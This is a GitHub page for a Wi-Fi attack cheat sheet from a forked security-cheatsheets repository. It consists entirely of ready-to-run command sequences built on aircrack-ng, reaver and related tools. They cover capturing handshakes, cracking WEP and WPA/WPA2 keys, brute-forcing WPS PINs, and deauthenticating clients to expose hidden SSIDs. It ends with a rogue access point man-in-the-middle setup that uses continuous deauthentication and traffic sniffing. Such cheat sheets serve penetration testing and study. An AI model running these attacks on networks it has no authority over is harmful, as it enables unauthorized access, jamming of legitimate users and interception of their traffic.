forked from iamfuntime/security-cheatsheets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
aircrack-ng
57 lines (43 loc) · 1.72 KB
/
aircrack-ng
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#Wifi Cheat Sheet - aircrack-ng
# michael <truckiewow>
#Jose Moruno Cadima <sniferl4bs>
#Uceka CheatSheet
#Start Monitor Mode and Save captures
iw dev wlan0 add interface mon0 type monitor
airmon-ng start wlan0 <Chanel>
airodump-ng -c <Chanel> --bssid <MAC AP> -w <NameCapture> <InterfaceMonitor>
# To crack WEP for a given essid name and store into a file
aircrack-ng -a 1 -e <essid> -l <output file> <.cap or .ivs file(s)>
# To crack WPA/WPA2 from airolib-ng database
aircrack-ng -e <essid> -r <database> <.cap or .ivs file(s)>
# To crack WPA/WPA2 from a wordlist
aircrack-ng -e <essid> -w <wordlist> <.cap or .ivs file(s)>
# To crack a given bssid
aircrack-ng -b <bssid> -l <output file> <.cap or .ivs file(s)>
# To crack a given bssid using FMS/Korek method
aircrack-ng -K -b <bssid> <.cap or .ivs file(s)>
# To crack a given essid (WEP) and display the ASCII of the key
aircrack-ng -e <essid> -s <.cap of .ivs file(s)>
# To crack a given essid (WEP) and create a EWSA Project
aircrack-ng -e <essid> -E <EWSA file> <.cap or .ivs file(s)>
#Attack WPS with Reaver
wash –i wlan0mon –C
reaver –i wlan0mon –b <BSSID> -vv –S
#or, Specific attack
reaver –i –c <Channel> -b <BSSID> -p <PinCode> -vv –S
#Find Hidden SSID
airmon-ng start wlan0
airodump-ng –c <Channel> --bssid <BSSID> wlan0mon
aireplay-ng -0 20 –a <BSSID> -c <VictimMac> wlan0mon
#Man in the Middle Attack
airmon-ng start wlan0
airbase-ng –e “<FakeBSSID>” wlan0mon
brctl addbr <VariableName>
brctl addif <VariableName> wlan0mon
brctl addif <VariableName> at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig <VariableName> up
aireplay-ng –deauth 0 –a <BSSID Atack> wlan0mon
dhclient3 <VariableName> &
wireshark & select <VariableName> interface